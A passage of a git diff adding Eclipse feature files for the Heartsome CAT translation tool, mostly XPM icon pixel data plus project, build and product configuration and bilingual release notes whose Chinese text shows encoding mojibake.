4'.6'.$*.g;.7'.8'.9'.0'.a'.0'.9'.b'.i;.h;.x,.a'.c'.d'.n&.e'.f'.g'.h'.i'.j'.k'.k'.l'.m'..,.n'.o'.p'.q'.r'.s'.t'.u'.b#.v'.w'.x'.y'.Y` ZW z'.A'.B'.C'.D'.E'.F'.J#.G'.H'.I'.J'.K'.L'.M'.N'.^W O'.P'.k>.Q'.R'.S'.T'.R` yM U'.1;.V'.W'.X'.Y'.X'.Z'.`'.jR rs rs )..).+).@)._'.#).e# D$ E$ . . . . ", +". . . . h# i# } |. :W $).%).s,.&).*).=).-).;).&).>).,).v,.f;.').s-.)).!).~).{).]).rs ^)./).().,)._).g;.h;.h;.h;.r-.g;.:).j;.i;.<).i;.[).!).}).|).V@.rs |;.1).2).3).J,.k'.I,.m'.4).5).3).R$.@y 6).7).s'.g>.8).9).0).=-.a).b).BI c).d)._#.e).XZ f).%-.'>.g).h).i)._>.j).k).l).m).n).2U o).|,.p).R'.R'.q).r).s).4U t).u).v).w).x).y).z).Z;.A).B).]D rs C).D).E).F).G).#).e# D$ E$ . . . . ", +". . . . h# i# j# |. vH H).I).J).:>.}).K).K).}).L).}>.M).k;.').N).:).O).P).Q).R).S).T).rs U).V).:>.t-.b'.<).W).W).W).X).X).W).W).`>.G,.k;.Y).Z).cD `). !.Pu U$..!.5).+!.k'.@!.#!.$!.%!.&!.iS As *!.=!.a` -!.;!.>!.,!.'!.)!.B'.!!.~!.{!.]!.^!./!.(!._!.:#.:!..}!.|!.1!.<-.xM 4U 2!.='.R'.R'.q).q).3!.4!.I .5!.6!.7!.p,.8!.9!.0!.a!.C'.b!.c!.rs d!.e!.f!.g!.h!.#).e# D$ E$ . . . . ", +". . . . ^@ i# j# g i!.j!.k!.E=.l!.m!.!).!).t-.Z>.y,.s-.g;.i;.h;.h;.h;.s-.n!.:>.o!.g-.rs mD p!.q!.a'.g;.r!.s!.t!.t!.t!.t!.t!.t!.X). ,.u!.v!.w!.x!.rs y!.xs z!.A!.l'.B!.B!.C!.D!.E!.F!.w'.G!.H!.(!.p#.rs I!.J!.K!.L!.M!.AL N!.O!.P!.<,.t).Q!.R!.S!.T!.U!.V!.]!.x!.W!.a).X!.1B $W o,.Y!.Z!.`!. ~. ~..~.R'.+~.@~.#~.&Z $~.%~.&~.*~.=~.-~.;~.>~.,~.#&.rs '~.)~.!~.~~.h!.#).e# M1 g# . . . . ", +". . . . {~.Z. ]~.g ^~./~.(~._~.:~.<~.<~.[~.}~.|~.1~.2~.3~.3~.3~.4~.4~._~.5~.6~.7~.8~.9~.0~.a~.b~.c~.d~.e~.f~.g~.g~.f~.g~.f~.h~.f~.i~.j~.k~.l~.0~.m~.n~.o~.p~.q~.r~.s~.t~.u~.v~.j~.w~.x~.y~.z~.A~.B~.C~.D~.E~.F~.G~.qr H~.I~.J~.K~.L~.K~.M~.N~.O~.P~.Q~.R~.S~.T~.U~.V~.W~.X~.Y~.Z~.`~. {..{.+{.@{.#{.${.%{.&{.*{.={.-{.;{.>{.,{.'{.){.!{.~{.{{.]{.^{./{.({._{.:{.<{.E% [{.{@ }{.. . . . ", +". . . . |{.1{.2{.|. 3{.4{.5{.6{.7{.7{.7{.7{.7{.7{.8{.8{.8{.8{.8{.8{.8{.9{.0{.a{.b{.c{.d{.e{.f{.g{.h{.0{.9{.7{.7{.7{.7{.7{.7{.7{.i{.j{.k{.l{.m{.n{.o{.p{.q{.r{.s{.9{.7{.i{.t{.u{.v{.w{.x{.y{.z{.A{.B{.C{.D{.E{.F{.G{.b{.H{.g{.I{.J{.F).K{.L{.M{.N{.O{.P{.E{.Q{.R{.S{.T{.U{.V{.W{.X{.Y{.Z{.`{. ].,Y ,Y ,Y ,Y .].+].@].#].J{.$].%].&].b,.*].U{.=].j .-].;].>].,].'].)]./. !].~].{].. . . . ", +" . . . ]].^]./].(]._].:].<].[].}].}].}].}].}].}].}].}].}].}].|].|].|].}].1].2].3].4].5].6].7].8].9].0].|].|].|].|].|].|].|].|].|].a].b].3].c].d].e].f].3].g].h].|].|].|].h].i].j].k].l].m].n].o].p].q].r].s].t].u].v].v].w].x].y].z].z].A].B].C].D].E].F].G].t].H].I].J].K].L].M].N].O].P].Q].Q].Q].R].R].Q].P].S].T].M].j].U].V].W].N].X].Y].Z].`]. ^..^.+^.Z].@^.#^.$^.4,.%^.. . . . ", +" . . . . &^.*^.=^.|. V. -^.d# d# d# d# d# d# d# d# d# d# d# d# d# d# d# E% 2= /- U] H{ H{ H{ U] ;^./- d# d# d# d# d# d# d# d# d# d# ;^.U] H{ H{ H{ U] /- >^.d# d# d# d# d# ;^.,^.H{ z} '^.'^.<, '^.z} )^.U] U] !^.;^.;^.;^./- ;^.;^./- /- ,^.,^.U] H{ U] U] U] !^.;^./- /- /- ;^./- /- d# d# d# d# d# d# d# d# 2= ;^.;^.;^.;^.2= 2= 2= /- U] H{ ~^.H{ U] U] o {^.]^.^^./^.]].. . . ", +" . . . . (^._^.:^.<^.6 [^.e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# e# }^.;8 !; !; !; |^.!; !; }^.e# e# e# e# e# e# e# e# e# }^.;8 !; !; [, !; !; ;8 ;8 e# e# e# e# e# !; $/ [, G| 1^.1^.1^.1^.6' [, !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 !; !; !; !; !; !; !; !; !; ;8 ;8 ;8 ;8 ;8 }^.e# e# e# e# e# e# e# }^.}^.;8 ;8 ;8 ;8 }^.}^.}^.;8 !; |^.|^.|^.!; 2^.3^.4^.^^.5^.6^.. . . . ", +" . . . . . 7^.8^.9^.0^.a^.f# t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t t t t t D$ D$ D$ D$ D$ D$ t t t t t t t D$ D$ v~ v~ f# f# f# v~ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t D$ D$ D$ D$ D$ D$ D$ D$ D$ t t t t t t t t t t t t t t t t t t t t t t D$ D$ D$ D$ D$ f# {@ ~].4,.b^.c^.. . . . . ", +" . . . . . . d^.% e^.f^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.h^.g^.g^.h^.h^.g^.h^.h^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.g^.E$ i^.j^.k^.l^.. . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ", +" . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . "}; diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/icons/macosx/xliff.icns b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/macosx/xliff.icns new file mode 100644 index 0000000..6ccdcfe Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/macosx/xliff.icns differ diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_16.bmp b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_16.bmp new file mode 100644 index 0000000..2f0ebdd Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_16.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_32.bmp b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_32.bmp new file mode 100644 index 0000000..ba3471e Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_32.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_48.bmp b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_48.bmp new file mode 100644 index 0000000..45b56d4 Binary files /dev/null and b/ts/net.heartsome.cat.ts.edition_lite.feature/icons/win32/xliff_48.bmp differ diff --git a/ts/net.heartsome.cat.ts.edition_lite.feature/plugin_customization.ini b/ts/net.heartsome.cat.ts.edition_lite.feature/plugin_customization.ini new file mode 100644 index 0000000..333fab9 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_lite.feature/plugin_customization.ini @@ -0,0 +1 @@ +org.eclipse.ui/SHOW_PROGRESS_ON_STARTUP = true diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/.project b/ts/net.heartsome.cat.ts.edition_personal.feature/.project new file mode 100644 index 0000000..3ebfbce --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/.project @@ -0,0 +1,17 @@ + + + net.heartsome.cat.ts.edition_personal.feature + + + + + + org.eclipse.pde.FeatureBuilder + + + + + + org.eclipse.pde.FeatureNature + + diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/PersonalEdition.product b/ts/net.heartsome.cat.ts.edition_personal.feature/PersonalEdition.product new file mode 100644 index 0000000..c0b819b --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/PersonalEdition.product @@ -0,0 +1,99 @@ + + + + + + + + + %aboutP + + + + + + + + -Dfile.encoding=UTF-8 +-Xms512m +-Xmx512m +-XX:PermSize=96m +-XX:MaxPermSize=96m +-Xmn256m +-Dversion=8.2.1 +-Ddate=20130502 + -XstartOnFirstThread -Dorg.eclipse.swt.internal.carbon.smallFonts + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/build.properties b/ts/net.heartsome.cat.ts.edition_personal.feature/build.properties new file mode 100644 index 0000000..a83e18e --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/build.properties @@ -0,0 +1,4 @@ +bin.includes = feature.xml,\ + plugin_customization.ini,\ + icons/ +javacDefaultEncoding.. = UTF-8 diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/feature.xml b/ts/net.heartsome.cat.ts.edition_personal.feature/feature.xml new file mode 100644 index 0000000..572528f --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/feature.xml @@ -0,0 +1,112 @@ + + + + + [-en-] +--------------------------------- +New features: +1. New editing, deleting and copying function for TM match. +2. New offline activation function, licenses can be activated without network connection. +--------------------------------- +Improvements: +1. Improved the display style of internal tag, the new style is cleaner and more beautiful. +2. Improved the way of displaying QA results, dynamically updating QA results. +3. Changed the extension of exported project package file from .zip to .hszip, to distinguish them easily. +4. Optimized the overwriting strategy of existing files when importing project, to streamline project distribution. +5. Optimized the performance of XLIFF editor, to make it run smoother even there are many internal tags. +--------------------------------- +Bug-fixes: +Fixed the bug that unable to activate license on Fedora Linux. +[-zh-] +--------------------------------- +新功能: +1ã€æ–°å¢žå¯¹è®°å¿†åº“匹é…的编辑ã€åˆ é™¤å’Œéƒ¨åˆ†å†…容å¤åˆ¶åŠŸèƒ½ï¼› +2ã€æ–°å¢žç¦»çº¿æ¿€æ´»åŠŸèƒ½ï¼Œå¯åœ¨æ— ç½‘络æ¡ä»¶ä¸‹ç¦»çº¿æ¿€æ´»è®¸å¯è¯ã€‚ +--------------------------------- +改进: +1ã€ä¼˜åŒ–了内部标记样å¼ï¼Œæ›´åŠ ç®€æ´å’Œç¾Žè§‚ï¼› +2ã€ä¼˜åŒ–了 QA 结果的展示,能动æ€æ›´æ–° QA 检查结果; +3ã€å°†å¯¼å‡ºçš„项目包扩展å修改为 .hszip,以区别普通 .zip 压缩包; +4ã€ä¼˜åŒ–了导入项目时对é‡å¤æ–‡ä»¶çš„自动判断和处ç†ç­–略,使项目æµè½¬æ›´åŠ æ–¹ä¾¿ï¼› +5ã€ä¼˜åŒ–了编辑器的性能,å³ä½¿å†…部标记较多也ä¿æŒæµç•…。 +--------------------------------- +ä¿®å¤ï¼š +ä¿®å¤äº†åœ¨ Fedora Linux 系统中无法激活许å¯è¯çš„问题。 + + + + Copyright © Heartsome Technologies Ltd. All rights reserved. +版æƒæ‰€æœ‰ © 瀚特盛科技有é™å…¬å¸ ä¿ç•™æ‰€æœ‰æƒåˆ© + + + + Please refer to Heartsome Software End User License Agreement (EULA). +请å‚考 Heartsome 软件最终用户许å¯å议。 + + + + + + + + + + + + + + + + + + + + + + + diff --git a/ts/net.heartsome.cat.ts.edition_personal.feature/icons/linux/xliff.xpm b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/linux/xliff.xpm new file mode 100644 index 0000000..1d895c8 --- /dev/null +++ b/ts/net.heartsome.cat.ts.edition_personal.feature/icons/linux/xliff.xpm @@ -0,0 +1,10486 @@ +/* XPM */ +static char * xliff_xpm[] = { +"128 128 10355 3", +" c None", +". c #FFFFFF", +"+ c #FFF1E9", +"@ c #FFD4B4", +"# c #FFC495", +"$ c #FFC597", +"% c #FFC699", +"& c #FFC698", +"* c #FFC393", +"= c #FFCCA6", +"- c #FFE8D9", +"; c #FFFDFD", +"> c #FBAB72", +", c #E6791C", +"' c #C85E00", +") c #B14E00", +"! c #B24E00", +"~ c #B35000", +"{ c #B25000", +"] c #B04D00", +"^ c #BF5600", +"/ c #DD7011", +"( c #F6964D", +"_ c #FFE9DC", +": c #F7954C", +"< c #BE5000", +"[ c #7B3B08", +"} c #5F2E19", +"| c #55271C", +"1 c #56271C", +"2 c #56281C", +"3 c #54271B", +"4 c #54261B", +"5 c #55261B", +"6 c #54271C", +"7 c #54261D", +"8 c #5B2C1B", +"9 c #6E3710", +"0 c #A64900", +"a c #EC7416", +"b c #FFE9DB", +"c c #FDBA8A", +"d c #C15000", +"e c #613316", +"f c #471925", +"g c #491827", +"h c #481827", +"i c #491926", +"j c #481926", +"k c #471825", +"l c #461824", +"m c #451824", +"n c #451724", +"o c #481825", +"p c #481826", +"q c #461825", +"r c #481925", +"s c #50271D", +"t c #A44800", +"u c #F59043", +"v c #FFFCFC", +"w c #FFFBFA", +"x c #ED8833", +"y c #843D03", +"z c #471A24", +"A c #532026", +"B c #5E2C1F", +"C c #6C3415", +"D c #6D3315", +"E c #6C3215", +"F c #6C3214", +"G c #6C3213", +"H c #6C3212", +"I c #6B3112", +"J c #683011", +"K c #662F11", +"L c #622D10", +"M c #602B0F", +"N c #5D2B0F", +"O c #5F2B0F", +"P c #622D0F", +"Q c #652F11", +"R c #693011", +"S c #6A3111", +"T c #6A3112", +"U c #693010", +"V c #673011", +"W c #652F10", +"X c #642E10", +"Y c #632D10", +"Z c #612D0F", +"` c #612C0F", +" . c #652E10", +".. c #632E10", +"+. c #612D10", +"@. c #602C0F", +"#. c #622E10", +"$. c #662F10", +"%. c #6C3312", +"&. c #6C3313", +"*. c #6B3213", +"=. c #693112", +"-. c #673112", +";. c #632D11", +">. c #642E11", +",. c #663012", +"'. c #683112", +"). c #6A3212", +"!. c #6D3414", +"~. c #6C3414", +"{. c #6E3714", +"]. c #63301B", +"^. c #562325", +"/. c #4A1A27", +"(. c #653316", +"_. c #D26100", +":. c #FFDDC6", +"<. c #FFE1CC", +"[. c #D26909", +"}. c #683416", +"|. c #491927", +"1. c #59281F", +"2. c #AF641C", +"3. c #E57F25", +"4. c #DB7824", +"5. c #DA7723", +"6. c #D97723", +"7. c #D97722", +"8. c #D77621", +"9. c #D27320", +"0. c #CB6F1F", +"a. c #C16A1D", +"b. c #B8651B", +"c. c #AF5F1A", +"d. c #AB5D1A", +"e. c #B0601A", +"f. c #CA6E1E", +"g. c #D07220", +"h. c #D47421", +"i. c #D57420", +"j. c #D37320", +"k. c #CF711F", +"l. c #C46B1D", +"m. c #BE681C", +"n. c #B7641B", +"o. c #B5631B", +"p. c #B7651B", +"q. c #B9651B", +"r. c #BB661C", +"s. c #BD671C", +"t. c #BF681C", +"u. c #BB671C", +"v. c #BA661B", +"w. c #B6651B", +"x. c #B2611B", +"y. c #BC671C", +"z. c #C26A1D", +"A. c #C96E1E", +"B. c #CF721F", +"C. c #DA7722", +"D. c #D97822", +"E. c #DA7822", +"F. c #D57521", +"G. c #CF7220", +"H. c #C96E1F", +"I. c #C36C1E", +"J. c #BB671D", +"K. c #BB661D", +"L. c #C46C1E", +"M. c #C96F1F", +"N. c #D67622", +"O. c #D87722", +"P. c #D77722", +"Q. c #D87822", +"R. c #DA7923", +"S. c #DA7823", +"T. c #C9731E", +"U. c #6A361C", +"V. c #4A1927", +"W. c #52251D", +"X. c #FFC293", +"Y. c #FFD4B2", +"Z. c #C05A00", +"`. c #5C2C1A", +" + c #602E17", +".+ c #D6701D", +"++ c #FFDB68", +"@+ c #FFF081", +"#+ c #FFF179", +"$+ c #FFF17B", +"%+ c #FFF17D", +"&+ c #FFF17F", +"*+ c #FFF181", +"=+ c #FFF182", +"-+ c #FFF184", +";+ c #FFF186", +">+ c #FFF188", +",+ c #FFF18A", +"'+ c #FFF18B", +")+ c #FFF18D", +"!+ c #FFF18F", +"~+ c #FFF190", +"{+ c #FFF192", +"]+ c #FFF194", +"^+ c #FFF195", +"/+ c #FFF197", +"(+ c #FFF199", +"_+ c #FFF19A", +":+ c #FFF19C", +"<+ c #FFF19D", +"[+ c #FFF19F", +"}+ c #FFF1A0", +"|+ c #FFF1A2", +"1+ c #FFF1A3", +"2+ c #FFF1A4", +"3+ c #FFF1A6", +"4+ c #FFF1A7", +"5+ c #FFF1A8", +"6+ c #FFF1A9", +"7+ c #FFF1AA", +"8+ c #FFF1AC", +"9+ c #FFF1AD", +"0+ c #FFF0AE", +"a+ c #FFEFAE", +"b+ c #FFECAF", +"c+ c #FBE9B0", +"d+ c #F6E5B0", +"e+ c #EEDEB0", +"f+ c #EDDDB1", +"g+ c #F8E6B1", +"h+ c #FEEAB2", +"i+ c #FBE7B3", +"j+ c #FDE9B4", +"k+ c #FDEAB5", +"l+ c #FFEDB6", +"m+ c #FFEEB7", +"n+ c #FFECB7", +"o+ c #FBEAB7", +"p+ c #F6E6B7", +"q+ c #F5E4B7", +"r+ c #F9E6B6", +"s+ c #FBE8B6", +"t+ c #F7E4B6", +"u+ c #F5E2B6", +"v+ c #F4E1B6", +"w+ c #F5E2B5", +"x+ c #F5E1B5", +"y+ c #F4E0B5", +"z+ c #F3DFB4", +"A+ c #F5E1B3", +"B+ c #FAE7B2", +"C+ c #FCE9B2", +"D+ c #F3DFB1", +"E+ c #EED9B0", +"F+ c #F4DDB0", +"G+ c #F9E0B0", +"H+ c #FCE2AF", +"I+ c #FFE3AE", +"J+ c #FFE4AE", +"K+ c #FFE5AD", +"L+ c #FFE4AC", +"M+ c #FFE4AB", +"N+ c #FFE3AA", +"O+ c #FFE1A8", +"P+ c #FFE1A7", +"Q+ c #FFE0A6", +"R+ c #FFDEA4", +"S+ c #FADAA2", +"T+ c #F5D4A1", +"U+ c #F2D39F", +"V+ c #FEE99D", +"W+ c #F3D89B", +"X+ c #ECCA9A", +"Y+ c #F3D099", +"Z+ c #F5D198", +"`+ c #F9D297", +" @ c #FAD295", +".@ c #F9D194", +"+@ c #F8CF92", +"@@ c #F8CD90", +"#@ c #F8CD8F", +"$@ c #F8CC8D", +"%@ c #F9CB8B", +"&@ c #FACA8A", +"*@ c #FBCA88", +"=@ c #FBC987", +"-@ c #FBC885", +";@ c #FBC682", +">@ c #FBC581", +",@ c #FBC784", +"'@ c #FFC37E", +")@ c #F28B2F", +"!@ c #7F4013", +"~@ c #4E2020", +"{@ c #A04600", +"]@ c #FEB479", +"^@ c #FFD7B5", +"/@ c #C25C00", +"(@ c #5E2D19", +"_@ c #602D18", +":@ c #CC661A", +"<@ c #FFED72", +"[@ c #FFFF95", +"}@ c #FCFF8B", +"|@ c #FCFF8D", +"1@ c #FEFF8F", +"2@ c #FEFF92", +"3@ c #FEFF94", +"4@ c #FEFF97", +"5@ c #FEFF99", +"6@ c #FEFF9B", +"7@ c #FEFF9E", +"8@ c #FEFFA0", +"9@ c #FEFFA2", +"0@ c #FEFFA5", +"a@ c #FEFFA7", +"b@ c #FEFFA9", +"c@ c #FFFFAB", +"d@ c #FFFFAE", +"e@ c #FFFFAF", +"f@ c #FFFFB2", +"g@ c #FFFFB4", +"h@ c #FFFFB6", +"i@ c #FFFFB8", +"j@ c #FFFFBA", +"k@ c #FFFFBC", +"l@ c #FFFFBE", +"m@ c #FFFFC0", +"n@ c #FFFFC1", +"o@ c #FFFFC3", +"p@ c #FFFFC5", +"q@ c #FFFFC7", +"r@ c #FFFFC8", +"s@ c #FFFFCA", +"t@ c #FFFFCB", +"u@ c #FFFFCD", +"v@ c #FFFFCE", +"w@ c #FEFFD0", +"x@ c #FCFFD1", +"y@ c #FAFFD2", +"z@ c #F8FFD4", +"A@ c #F1FFD5", +"B@ c #F2FED7", +"C@ c #FFFFD8", +"D@ c #FFFFD9", +"E@ c #FAFFDA", +"F@ c #F8FFDA", +"G@ c #FBFFDB", +"H@ c #FCFFDB", +"I@ c #FEFFDC", +"J@ c #FDFFDC", +"K@ c #FDFFDD", +"L@ c #FCFFDD", +"M@ c #F9FFDD", +"N@ c #FAFFDE", +"O@ c #FEFFDE", +"P@ c #FFFFDE", +"Q@ c #FEFFDF", +"R@ c #F9FFDF", +"S@ c #F3FEDE", +"T@ c #F2FDDE", +"U@ c #F4FEDE", +"V@ c #F7FFDD", +"W@ c #F8FFDD", +"X@ c #F9FFDC", +"Y@ c #F7FFDC", +"Z@ c #F2FBDB", +"`@ c #EFF7DA", +" # c #F2F9DA", +".# c #FBFFD9", +"+# c #FFFFD7", +"@# c #F1F7D5", +"## c #F1F6D4", +"$# c #F6FBD3", +"%# c #F8FCD1", +"&# c #F9FDD0", +"*# c #FAFDCF", +"=# c #FAFDCD", +"-# c #FBFCCC", +";# c #FBFCCA", +"># c #FAFAC9", +",# c #FAF9C7", +"'# c #FAF8C6", +")# c #F8F6C4", +"!# c #F5F2C2", +"~# c #F1ECC0", +"{# c #EAE6BF", +"]# c #FFFFBD", +"^# c #FBFDBB", +"/# c #E4DDB9", +"(# c #EAE3B7", +"_# c #EBE3B5", +":# c #EDE3B2", +"<# c #EEE3B0", +"[# c #ECE1AE", +"}# c #ECDEAC", +"|# c #EBDDAA", +"1# c #EBDCA7", +"2# c #ECDBA5", +"3# c #ECD9A3", +"4# c #ECD8A0", +"5# c #EDD79E", +"6# c #EED79C", +"7# c #EFD69A", +"8# c #EFD497", +"9# c #F0D395", +"0# c #F1D799", +"a# c #F8D08F", +"b# c #E6852E", +"c# c #7D3D12", +"d# c #491A25", +"e# c #4F211F", +"f# c #A24700", +"g# c #FEB77D", +"h# c #FFD7B6", +"i# c #C35D00", +"j# c #5F2D19", +"k# c #CB671B", +"l# c #FFE26B", +"m# c #FDFF89", +"n# c #FAFF80", +"o# c #FAFF82", +"p# c #FBFF84", +"q# c #FBFF86", +"r# c #FBFF88", +"s# c #FBFF8A", +"t# c #FBFF8D", +"u# c #FBFF8F", +"v# c #FBFF90", +"w# c #FBFF92", +"x# c #FBFF95", +"y# c #FBFF97", +"z# c #FBFF99", +"A# c #FBFF9B", +"B# c #FCFF9C", +"C# c #FCFF9E", +"D# c #FCFFA0", +"E# c #FCFFA2", +"F# c #FCFFA4", +"G# c #FCFFA6", +"H# c #FCFFA8", +"I# c #FCFFA9", +"J# c #FCFFAB", +"K# c #FCFFAD", +"L# c #FCFFAE", +"M# c #FCFFB0", +"N# c #FCFFB2", +"O# c #FCFFB3", +"P# c #FCFFB5", +"Q# c #FCFFB6", +"R# c #FCFFB7", +"S# c #FCFFB9", +"T# c #FCFFBA", +"U# c #FCFEBB", +"V# c #FAFDBD", +"W# c #F7FABE", +"X# c #F4F6BF", +"Y# c #EDEFC0", +"Z# c #EAECC1", +"`# c #FEFDC2", +" $ c #FFFEC3", +".$ c #EBEDC3", +"+$ c #EBEEC5", +"@$ c #F2F5C5", +"#$ c #F6F9C6", +"$$ c #F9FBC7", +"%$ c #FAFDC7", +"&$ c #FAFDC8", +"*$ c #F9FBC8", +"=$ c #F7FAC8", +"-$ c #F8F9C9", +";$ c #F9F9C9", +">$ c #F7F7C9", +",$ c #F1F2C9", +"'$ c #E7EAC9", +")$ c #E9EAC9", +"!$ c #F1F1C9", +"~$ c #F6F6C8", +"{$ c #F9F8C8", +"]$ c #FBF8C8", +"^$ c #FAF8C8", +"/$ c #F9F7C7", +"($ c #FAF8C7", +"_$ c #F9F7C6", +":$ c #F5F3C5", +"<$ c #EAE7C5", +"[$ c #E1DEC4", +"}$ c #E8E6C3", +"|$ c #F6F3C2", +"1$ c #FDFAC1", +"2$ c #F0ECC0", +"3$ c #EAE5BF", +"4$ c #F2EBBE", +"5$ c #F4EDBD", +"6$ c #F6EEBC", +"7$ c #F7EEBA", +"8$ c #F8EEB9", +"9$ c #F8EEB8", +"0$ c #F8EDB6", +"a$ c #F8ECB5", +"b$ c #F8EAB4", +"c$ c #F5E8B2", +"d$ c #F1E3B0", +"e$ c #EBDEAF", +"f$ c #E1D3AD", +"g$ c #F4EDAC", +"h$ c #FCF7AA", +"i$ c #DCCEA8", +"j$ c #DFCFA6", +"k$ c #E0D0A4", +"l$ c #E2D1A2", +"m$ c #E1CDA1", +"n$ c #DECA9F", +"o$ c #DEC89D", +"p$ c #DEC79B", +"q$ c #E0C999", +"r$ c #E2CA97", +"s$ c #E3CA95", +"t$ c #E4C993", +"u$ c #E4C891", +"v$ c #E6C88F", +"w$ c #E8C88D", +"x$ c #EAC88B", +"y$ c #ECC889", +"z$ c #EECC8C", +"A$ c #F6C784", +"B$ c #E5842D", +"C$ c #7C3D13", +"D$ c #A34800", +"E$ c #FEB77E", +"F$ c #FFE26A", +"G$ c #FDFF87", +"H$ c #FAFE7E", +"I$ c #FAFF81", +"J$ c #FBFF83", +"K$ c #FBFF85", +"L$ c #FBFF87", +"M$ c #FBFF89", +"N$ c #FBFF8B", +"O$ c #FBFF91", +"P$ c #FBFF93", +"Q$ c #FCFF9D", +"R$ c #FCFF9F", +"S$ c #FCFFA1", +"T$ c #FCFFA3", +"U$ c #FCFFA7", +"V$ c #FCFFAC", +"W$ c #FCFFAF", +"X$ c #FCFFB1", +"Y$ c #FCFFB4", +"Z$ c #FCFFB8", +"`$ c #FBFEB9", +" % c #F9FBBB", +".% c #F5F7BB", +"+% c #F0F3BC", +"@% c #E7EBBE", +"#% c #FAF8BF", +"$% c #EBEBC0", +"%% c #E9ECC2", +"&% c #F1F3C2", +"*% c #F5F7C3", +"=% c #F8FBC4", +"-% c #FAFCC5", +";% c #FAFDC5", +">% c #F8FBC5", +",% c #F9FAC6", +"'% c #F9F9C6", +")% c #F1F4C7", +"!% c #EBEEC6", +"~% c #E5E8C6", +"{% c #EFEFC6", +"]% c #FBFAC6", +"^% c #F9F8C6", +"/% c #F5F5C6", +"(% c #F3F3C6", +"_% c #F2F1C6", +":% c #F1F0C5", +"<% c #F0EEC5", +"[% c #F0EFC5", +"}% c #F3F1C4", +"|% c #F8F5C3", +"1% c #FCFAC2", +"2% c #F2F0C1", +"3% c #E0DDC1", +"4% c #DFDCC0", +"5% c #EFEBBF", +"6% c #FFFDBE", +"7% c #F1ECBD", +"8% c #E9E3BC", +"9% c #F1EABB", +"0% c #F4EBBA", +"a% c #F6EDB9", +"b% c #F7EDB7", +"c% c #F8ECB3", +"d% c #F7EAB2", +"e% c #F4E7B0", +"f% c #EFE2AE", +"g% c #EADDAD", +"h% c #DECFAB", +"i% c #EEE6A9", +"j% c #FEFAA8", +"k% c #D9CDA6", +"l% c #D6C8A5", +"m% c #CEC0A3", +"n% c #CEBDA1", +"o% c #D6C79F", +"p% c #DED09D", +"q% c #E2D49B", +"r% c #E2D29A", +"s% c #DECA98", +"t% c #D9C296", +"u% c #D5BA94", +"v% c #D4B891", +"w% c #D7BC90", +"x% c #DDC18D", +"y% c #E0C28B", +"z% c #E3C289", +"A% c #E6C487", +"B% c #EAC98B", +"C% c #F4C582", +"D% c #E2832D", +"E% c #4A1A25", +"F% c #FFE269", +"G% c #FDFF86", +"H% c #FAFE7D", +"I% c #FAFE7F", +"J% c #FBFF8C", +"K% c #FBFF8E", +"L% c #FBFF94", +"M% c #FAFDB7", +"N% c #F7FAB9", +"O% c #F3F6BA", +"P% c #EBEDBB", +"Q% c #EFF0BC", +"R% c #FFFEBD", +"S% c #EEEEBD", +"T% c #E5E9BF", +"U% c #EFF1BF", +"V% c #F3F6C0", +"W% c #F7FAC1", +"X% c #F9FCC2", +"Y% c #FAFDC2", +"Z% c #FAFDC3", +"`% c #F8FBC3", +" & c #F7F9C4", +".& c #F1F4C4", +"+& c #EDF0C4", +"@& c #E7EAC4", +"#& c #F2F2C4", +"$& c #FDFBC4", +"%& c #F1F1C4", +"&& c #E9EAC4", +"*& c #EAEBC4", +"=& c #EDEEC4", +"-& c #F0EFC4", +";& c #F1EFC3", +">& c #F1F0C2", +",& c #F0EFC2", 